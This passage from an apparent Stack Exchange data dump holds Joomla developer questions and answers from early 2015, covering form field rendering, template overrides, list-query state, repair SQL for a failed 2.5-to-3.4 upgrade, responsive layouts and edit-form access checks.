getInput()&#xA;{&#xA;    // Translate placeholder text&#xA;    $hint = $this-&amp;gt;translateHint ? JText::_($this-&amp;gt;hint) : $this-&amp;gt;hint;&#xA;    // Initialize some field attributes.&#xA;    $size         = !empty($this-&amp;gt;size) ? ' size=&quot;' . $this-&amp;gt;size . '&quot;' : '';&#xA;    $maxLength    = !empty($this-&amp;gt;maxLength) ? ' maxlength=&quot;' . $this-&amp;gt;maxLength . '&quot;' : '';&#xA;    $class        = !empty($this-&amp;gt;class) ? ' class=&quot;' . $this-&amp;gt;class . '&quot;' : '';&#xA;    $readonly     = $this-&amp;gt;readonly ? ' readonly' : '';&#xA;    $disabled     = $this-&amp;gt;disabled ? ' disabled' : '';&#xA;    $required     = $this-&amp;gt;required ? ' required aria-required=&quot;true&quot;' : '';&#xA;    $hint         = $hint ? ' placeholder=&quot;' . $hint . '&quot;' : '';&#xA;    $autocomplete = !$this-&amp;gt;autocomplete ? ' autocomplete=&quot;off&quot;' : ' autocomplete=&quot;' . $this-&amp;gt;autocomplete . '&quot;';&#xA;    $autocomplete = $autocomplete == ' autocomplete=&quot;on&quot;' ? '' : $autocomplete;&#xA;    $autofocus    = $this-&amp;gt;autofocus ? ' autofocus' : '';&#xA;    $spellcheck   = $this-&amp;gt;spellcheck ? '' : ' spellcheck=&quot;false&quot;';&#xA;    $pattern      = !empty($this-&amp;gt;pattern) ? ' pattern=&quot;' . $this-&amp;gt;pattern . '&quot;' : '';&#xA;    $inputmode    = !empty($this-&amp;gt;inputmode) ? ' inputmode=&quot;' . $this-&amp;gt;inputmode . '&quot;' : '';&#xA;    $dirname      = !empty($this-&amp;gt;dirname) ? ' dirname=&quot;' . $this-&amp;gt;dirname . '&quot;' : '';&#xA;    // Initialize JavaScript field attributes.&#xA;    $onchange = !empty($this-&amp;gt;onchange) ? ' onchange=&quot;' . $this-&amp;gt;onchange . '&quot;' : '';&#xA;    // Including fallback code for HTML5 non supported browsers.&#xA;    JHtml::_('jquery.framework');&#xA;    JHtml::_('script', 'system/html5fallback.js', false, true);&#xA;    $datalist = '';&#xA;    $list     = '';&#xA;    /* Get the field options for the datalist.&#xA;    Note: getSuggestions() is deprecated and will be changed to getOptions() with 4.0. */&#xA;    $options  = (array) $this-&amp;gt;getSuggestions();&#xA;    if ($options)&#xA;    {&#xA;        $datalist = '&amp;lt;datalist id=&quot;' . $this-&amp;gt;id . '_datalist&quot;&amp;gt;';&#xA;        foreach ($options as $option)&#xA;        {&#xA;            if (!$option-&amp;gt;value)&#xA;            {&#xA;                continue;&#xA;            }&#xA;            $datalist .= '&amp;lt;option value=&quot;' . $option-&amp;gt;value . '&quot;&amp;gt;' . $option-&amp;gt;text . '&amp;lt;/option&amp;gt;';&#xA;        }&#xA;        $datalist .= '&amp;lt;/datalist&amp;gt;';&#xA;        $list     = ' list=&quot;' . $this-&amp;gt;id . '_datalist&quot;';&#xA;    }&#xA;    $html[] = '&amp;lt;input type=&quot;text&quot; name=&quot;' . $this-&amp;gt;name . '&quot; id=&quot;' . $this-&amp;gt;id . '&quot;' . $dirname . ' value=&quot;'&#xA;        . htmlspecialchars($this-&amp;gt;value, ENT_COMPAT, 'UTF-8') . '&quot;' . $class . $size . $disabled . $readonly . $list&#xA;        . $hint . $onchange . $maxLength . $required . $autocomplete . $autofocus . $spellcheck . $inputmode . $pattern . ' /&amp;gt;';&#xA;    $html[] = $datalist;&#xA;    return implode($html);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a lot of attributes that you can set: size, maxlength, class, readonly, disabled, required, and more! But if it's not defined in that class, it won't be in the final html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the attribute you need isn't there you have two options: submit a pull request against Joomla to get it added or make a custom form field type that does render the attribute that you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs should have all you need to create that custom field type: &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-02-27T06:21:01.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8801" PostTypeId="2" ParentId="8790" CreationDate="2015-02-27T08:33:06.387" Score="1" Body="&lt;p&gt;You would need to modify index.php because Joomla doesn't add the page class to the body element it adds it to the parent &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; for the view, e.g. com_content for articles. In index.php you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;&amp;lt;?php echo $this-&amp;gt;pageclass_sfx;?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might also want to create a template override for the view type as well, to remove the page class from that, so it isn't duplicated within the document body.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-02-27T08:33:06.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8802" PostTypeId="1" AcceptedAnswerId="8803" CreationDate="2015-02-27T08:56:29.593" Score="4" ViewCount="2074" Body="&lt;p&gt;I'm learning Joomla Extension development and overriding &lt;code&gt;getListQuery()&lt;/code&gt; method of a model that extends &lt;code&gt;JModelList&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the problem is that we can retrieve a list of data from database using following which is working fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$db = $this-&gt;getDbo();&#xA;$query = $db-&gt;getQuery(true);&#xA;$query-&gt;select('id,title,state,company')-&gt;from($db-&gt;quoteName('#__books'));&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But my ebook use following statement&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$query-&gt;select(&#xA;$this-&gt;getState('list.select','a.id, a.title,' .'a.state, a.company'));&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand the &lt;code&gt;getState()&lt;/code&gt; method but why does the ebook author use&#xA;  &lt;code&gt;getState()&lt;/code&gt; in select statement? What is the purpose of&#xA;  using this and where the 'list.select' property will be defined?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="3" LastEditDate="2015-02-27T09:38:35.500" LastActivityDate="2015-02-27T09:38:35.500" Title="Why we use getState() in select statement of query while retriving data in Joomla?" Tags="|joomla-3.x|joomla-2.5|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8803" PostTypeId="2" ParentId="8802" CreationDate="2015-02-27T09:29:02.973" Score="3" Body="&lt;p&gt;Using state in the select statement allows external extensions to use your method individually and to get different sets of data from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good example is &lt;code&gt;mod_articles_news&lt;/code&gt; module &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/modules/mod_articles_news/helper.php&quot; rel=&quot;nofollow&quot;&gt;helper&lt;/a&gt; which sets the fields for selection from the Articles Model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get an instance of the generic articles model&#xA;$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;... &#xA;&#xA;$model-&amp;gt;setState('list.select', 'a.fulltext, a.id, a.title, a.alias, a.introtext, a.state, a.catid, a.created, a.created_by, a.created_by_alias,' .&#xA;' a.modified, a.modified_by, a.publish_up, a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access,' .&#xA;' a.hits, a.featured, a.language');&#xA;&#xA;...&#xA;&#xA;$items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-27T09:29:02.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8805" PostTypeId="1" AcceptedAnswerId="8806" CreationDate="2015-02-27T09:52:59.897" Score="3" ViewCount="275" Body="&lt;p&gt;I want to implement jquery.Jcrop.js in a custom extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this look great! &lt;a href=&quot;http://deepliquid.com/projects/Jcrop/demos.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jcrop&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it's bundled with Joomla, located under:&lt;br&gt;&#xA;media\system\js\jquery.Jcrop.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it's used in:&lt;br&gt;&#xA;administrator\components\com_templates\views\template\tmpl\default.php&#xA;administrator\templates\hathor\html\com_templates\template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it looks like it's not working when used in a template. See image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukPCt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea how to implement / or where it is used in a Joomla extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gosling&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-07-08T11:07:12.937" Title="Using jquery.Jcrop.js in custom extension" Tags="|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8806" PostTypeId="2" ParentId="8805" CreationDate="2015-02-27T10:22:55.887" Score="2" Body="&lt;p&gt;This error I believe is due to the following console log error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SyntaxError: missing : after property id&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;trueSize:   469,159]&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It currently a bug in Joomla. I'll have a quick look through the code to see if there's a fix, but it might be an idea to report this bug to the Joomla-CMS repository on Github.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I've fixed it. See the &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/6214&quot; rel=&quot;nofollow&quot;&gt;Pull Request&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-02-27T11:28:15.093" LastActivityDate="2015-02-27T11:28:15.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8807" PostTypeId="1" AcceptedAnswerId="8811" CreationDate="2015-02-27T12:29:21.287" Score="1" ViewCount="5764" Body="&lt;p&gt;I'm trying to upgrade my Joomla 2.5 to 3.4 already for 4 days now, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed all these steps: &lt;a href=&quot;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have removed all components that might give an issue (such as JoomDoc, JoomGallery, JSN Power Admin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried all these steps:&#xA;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=710&amp;amp;t=826530&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=710&amp;amp;t=826530&lt;/a&gt; and these steps: (I have no access to posting more then 2 links, so I can't show you)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to follow this: (I have no access to posting more then 2 links, so I can't show you)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nothing, really nothing works. Every time I try something and then update again, or try something and go back to my site, I get these 2 errors:&#xA;First error 1050 and then error 1146: Table 'Reflex.nwo4j_postinstall_messages' doesn't exist SQL=SHOW FULL COLUMNS FROM &lt;code&gt;nwo4j_postinstall_messages&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't know what to do anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had Joomla 2-5-17, upgraded (as explained in the tutorial) first to 2-5-28, the requirements for the PHP version, MySQL version,... we have checked as well. Everything is good, but we just don't seem to be able to upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody can help, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="3786" LastEditorUserId="1629" LastEditDate="2015-02-27T13:42:19.773" LastActivityDate="2015-02-27T15:00:03.237" Title="Upgrade 2.5 to 3.4 gives error 1050 and 1146" Tags="|joomla-3.x|upgrade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8808" PostTypeId="2" ParentId="8807" CreationDate="2015-02-27T12:35:30.907" Score="0" Body="&lt;p&gt;Try repairing your database by going to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla backend&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Extension Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Database&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or simply: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.YOUR_SITE.COM/administrator/index.php?option=com_installer&amp;amp;view=database&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then click the &lt;strong&gt;fix&lt;/strong&gt; button if any errors occur&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-27T12:35:30.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8811" PostTypeId="2" ParentId="8807" CreationDate="2015-02-27T15:00:03.237" Score="1" Body="&lt;p&gt;I would advice to copy over &lt;code&gt;libraries&lt;/code&gt; folder form the 3.4 installation. &#xA;Then try to access &lt;code&gt;/index.php?option=com_installer&amp;amp;view=discover&lt;/code&gt; and click on &quot;Find&quot;. It should find all not installed components during update. Then check them and click &quot;Install&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can try to create &lt;code&gt;postinstall_messages&lt;/code&gt; table manually in the DB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `nwo4j_postinstall_messages` (&#xA;`postinstall_message_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,&#xA;`extension_id` bigint(20) NOT NULL DEFAULT 700 COMMENT 'FK to #__extensions',&#xA;`title_key` varchar(255) NOT NULL DEFAULT '' COMMENT 'Lang key for the title',&#xA;`description_key` varchar(255) NOT NULL DEFAULT '' COMMENT 'Lang key for description',&#xA;`action_key` varchar(255) NOT NULL DEFAULT '',&#xA;`language_extension` varchar(255) NOT NULL DEFAULT 'com_postinstall' COMMENT 'Extension holding lang keys',&#xA;`language_client_id` tinyint(3) NOT NULL DEFAULT '1',&#xA;`type` varchar(10) NOT NULL DEFAULT 'link' COMMENT 'Message type - message, link, action',&#xA;`action_file` varchar(255) DEFAULT '' COMMENT 'RAD URI to the PHP file containing action method',&#xA;`action` varchar(255) DEFAULT '' COMMENT 'Action method name or URL',&#xA;`condition_file` varchar(255) DEFAULT NULL COMMENT 'RAD URI to file holding display condition method',&#xA;`condition_method` varchar(255) DEFAULT NULL COMMENT 'Display condition method, must return boolean',&#xA;`version_introduced` varchar(50) NOT NULL DEFAULT '3.2.0' COMMENT 'Version when this message was introduced',&#xA;`enabled` tinyint(3) NOT NULL DEFAULT 1,&#xA;PRIMARY KEY (`postinstall_message_id`)&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8;&#xA;&#xA;INSERT INTO `nwo4j_postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`) VALUES&#xA;(700, 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_TITLE', 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_BODY', 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_ACTION', 'plg_twofactorauth_totp', 1, 'action', 'site://plugins/twofactorauth/totp/postinstall/actions.php', 'twofactorauth_postinstall_action', 'site://plugins/twofactorauth/totp/postinstall/actions.php', 'twofactorauth_postinstall_condition', '3.2.0', 1),&#xA;(700, 'COM_CPANEL_MSG_EACCELERATOR_TITLE', 'COM_CPANEL_MSG_EACCELERATOR_BODY', 'COM_CPANEL_MSG_EACCELERATOR_BUTTON', 'com_cpanel', 1, 'action', 'admin://components/com_admin/postinstall/eaccelerator.php', 'admin_postinstall_eaccelerator_action', 'admin://components/com_admin/postinstall/eaccelerator.php', 'admin_postinstall_eaccelerator_condition', '3.2.0', 1),&#xA;(700, 'COM_CPANEL_WELCOME_BEGINNERS_TITLE', 'COM_CPANEL_WELCOME_BEGINNERS_MESSAGE', '', 'com_cpanel', 1, 'message', '', '', '', '', '3.2.0', 1),&#xA;(700, 'COM_CPANEL_MSG_PHPVERSION_TITLE', 'COM_CPANEL_MSG_PHPVERSION_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/phpversion.php', 'admin_postinstall_phpversion_condition', '3.2.2', 1),&#xA;(700, 'COM_CPANEL_MSG_ROBOTS_TITLE', 'COM_CPANEL_MSG_ROBOTS_BODY', '', 'com_cpanel', 1, 'message', '', '', '', '', '3.4.0', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-27T15:00:03.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8812" PostTypeId="2" ParentId="8780" CreationDate="2015-02-27T15:19:35.003" Score="1" Body="&lt;p&gt;find this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;install php5-xsl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;command : sudo apt-get install php5-xsl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's work perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2015-02-27T15:19:35.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8816" PostTypeId="2" ParentId="8790" CreationDate="2015-02-27T19:11:44.523" Score="3" Body="&lt;p&gt;Having read the comments, do as REactionFaye suggests, except for the last bit. You'll want your body tag to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body &amp;lt;?php if ($pageclass != '') echo 'class=&quot;'.htmlspecialchars($pageclass).'&quot;';?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, the class attribute is only set for the menu items actually having a pageclass suffix configured.&lt;/p&gt;&#xA;" OwnerUserId="3626" LastEditorUserId="3626" LastEditDate="2015-02-27T19:20:50.347" LastActivityDate="2015-02-27T19:20:50.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8820" PostTypeId="1" AcceptedAnswerId="8825" CreationDate="2015-02-28T06:47:17.743" Score="3" ViewCount="293" Body="&lt;p&gt;&lt;strong&gt;checkEditId() is very very useful fore security purpose as it protect our edit form from direct access.&lt;/strong&gt;&#xA;but i don't know how it is implemented i check the edit() function of JModelAdmin and also check save() but did not found how it is implemented.? &lt;/p&gt;&#xA;" OwnerUserId="3553" LastActivityDate="2016-01-30T04:01:50.480" Title="How checkEditId() method protect from direct edit a record" Tags="|joomla-3.x|model|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8821" PostTypeId="1" AcceptedAnswerId="8824" CreationDate="2015-02-28T15:42:09.277" Score="6" ViewCount="153" Body="&lt;p&gt;Currently when my site is visited from a phone, elements are rearranged. For example, the menu moves from the side of the site to the bottom. How do I stop the layout of the site from changing when viewed from a phone?&lt;/p&gt;&#xA;" OwnerUserId="3792" LastActivityDate="2015-02-28T16:44:08.590" Title="Joomla site changes when viewed from a phone" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8822" PostTypeId="1" AcceptedAnswerId="8849" CreationDate="2015-02-28T16:03:50.860" Score="0" ViewCount="1425" Body="&lt;p&gt;I am looking to create a 'View all ' button on the article page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance if someone views the blog layout of a category and then views an article, I am looking for a Back to blog category view button from the article itself.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to use the default, show category/link category which can be displayed at the bottom of the article as it is styled incorrectly and shows: Details: Category : link.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an article component override already. Whats the best way to add a back/view all article link.&lt;/p&gt;&#xA;" OwnerUserId="3712" LastActivityDate="2015-03-02T13:45:48.897" Title="Create back to Category button for Article View" Tags="|joomla-3.x|articles|category|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8823" PostTypeId="2" ParentId="8821" CreationDate="2015-02-28T16:42:00.650" Score="3" Body="&lt;p&gt;It mainly depends on your front-end template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Responsive templates usually define &quot;mobile&quot; positions that are shown only for phones and tablets. The idea is to have a way to display content in different ways according to the device.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-02-28T16:42:00.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8824" PostTypeId="2" ParentId="8821" CreationDate="2015-02-28T16:44:08.590" Score="6" Body="&lt;p&gt;What you describe is called &quot;Responsive Design&quot;. Most new websites include this tecnique:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Responsive web design (RWD) is an approach to web design aimed at&#xA;  crafting sites to provide an optimal viewing experience—easy reading&#xA;  and navigation with a minimum of resizing, panning, and&#xA;  scrolling—across a wide range of devices (from desktop computer&#xA;  monitors to mobile phones).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;http://en.wikipedia.org/wiki/Responsive_web_design&quot;&gt;Wikipedia&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It usually works by adding &lt;strong&gt;CSS media queries&lt;/strong&gt;; a kind of &quot;if&quot; statements for CSS files that applies specific rules depending on the screen size of the viewing device. &lt;a href=&quot;https://css-tricks.com/css-media-queries/&quot;&gt;This article&lt;/a&gt; has a good example on how this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A CSS media query might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media all and (max-width: 1000px) and (min-width: 700px) {&#xA;  p {&#xA;      color:red;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example will make any &lt;code&gt;p&lt;/code&gt; element red for screen widths between 700px and 1000px only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not recommend disabling this feature, unless it really messes up your design and makes your website unreadable on small screens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to disable the responsive design depends on how your template is designed. Many template providers (RocketTheme, Shape5 etc.) has an option in the template settings where you can change between Responsive and fixed width layout.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-28T16:44:08.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8825" PostTypeId="2" ParentId="8820" CreationDate="2015-02-28T18:20:01.230" Score="6" Body="&lt;p&gt;You can see it in action in the main controllers of the core components. For example &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/controller.php#L98&quot;&gt;ContentController&lt;/a&gt; of Content component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check for edit form.&#xA;if ($vName == 'form' &amp;amp;&amp;amp; !$this-&amp;gt;checkEditId('com_content.edit.article', $id))&#xA;{&#xA;    // Somehow the person just went to the form - we don't allow that.&#xA;    return JError::raiseError(403, JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="135" LastActivityDate="2015-02-28T18:20:01.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8826" PostTypeId="2" ParentId="8822" CreationDate="2015-02-28T18:31:25.233" Score="1" Body="&lt;p&gt;What override do I need for that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an override for the articles layout.&#xA;Inside the html folder of the template, create a folder named &quot;com_content&quot;, then another one &quot;article&quot; and copy there the article.php from &lt;code&gt;components-&amp;gt;com_content-&amp;gt;views-&amp;gt;article-&amp;gt;tmpl&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then inside the copied article.php file, something like the code below would work. Place it where you want the button to display: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;view-all-btn btn button&quot;&amp;gt;&#xA;    &amp;lt;?php $catTitle = $this-&amp;gt;escape($this-&amp;gt;item-&amp;gt;category_title); ?&amp;gt;&#xA;    &amp;lt;?php echo '&amp;lt;a href=&quot;' . JRoute::_(ContentHelperRoute::getCategoryRoute($this-&amp;gt;item-&amp;gt;catslug)) . '&quot; itemprop=&quot;genre&quot; title=&quot;' . $catTitle . '&quot;&amp;gt;View All&amp;lt;/a&amp;gt;'; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update / Answer to your comment:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q: how do I control which categories this shows for?&lt;/strong&gt;&lt;br&gt;&#xA;Then you could connect the appearance of the view-all button with the settings of show category and link to category. Find inside the article.php the part of the code that is printing the category title and link and modify its html output to suit your needs, but keep its checking from the backend settings, so you can control from the admin when it will be shown.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-02-28T19:38:01.253" LastActivityDate="2015-02-28T19:38:01.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8827" PostTypeId="1" AcceptedAnswerId="8829" CreationDate="2015-02-28T19:57:34.153" Score="2" ViewCount="74" Body="&lt;p&gt;So, the article hits for an article don't update if the article is viewed via the Newsflash module. Anybody know how to make the article hits increase each time said article is loaded via the Newsflash module? Currently, you have to actually open the article page for the hits to increase, but they won't if the article is just viewed through a Newsflash module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3793" LastActivityDate="2015-03-01T05:04:04.407" Title="Update article hits through Newsflash module?" Tags="|module|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8828" PostTypeId="2" ParentId="6916" CreationDate="2015-03-01T04:54:49.273" Score="2" Body="&lt;p&gt;I did something similar to this by building a custom layout for Menu module and put it in my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path to this layout looks like this: templates/your_template/html/mod_menu/your_custom_layout.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original layout is here: modules/mod_menu/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the code of default.php and put into your_custom_layout.php and customize it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my cases, I did some if-else to check what page user was on then added &quot;active&quot; CSS class to the parent menu item. In your case you can make your Admin menu item &quot;active&quot; (selected) and remove &quot;active&quot; (selected) state from your Home menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short it is just about adding/removing CSS class for active/selected menu item. What class to add/remove depends on your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method is use setActive() function, but I haven't used it yet so I'm not really sure how it works. This is sample code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $app = JFactory::getApplication();&#xA;    $menu = $app-&amp;gt;getMenu();&#xA;    $menu-&amp;gt;setActive($menuItemId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$menuItemId is the ID of the menu item you want to set active/selected, it is Admin in your example. You can see how it is used in libraries/cms/router/site.php.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2015-03-01T04:54:49.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8829" PostTypeId="2" ParentId="8827" CreationDate="2015-03-01T05:04:04.407" Score="1" Body="&lt;p&gt;As I check in the code I don't see the module updating article hits any where, but I think article should only be updated its hits when we view full article's detail, so I think this module shouldn't update article hits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This module calls onContentAfterDisplay and onContentBeforeDisplay events, so you can build a custom plugin to update article hits by catching these events from the module. And yes this requires programming.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2015-03-01T05:04:04.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
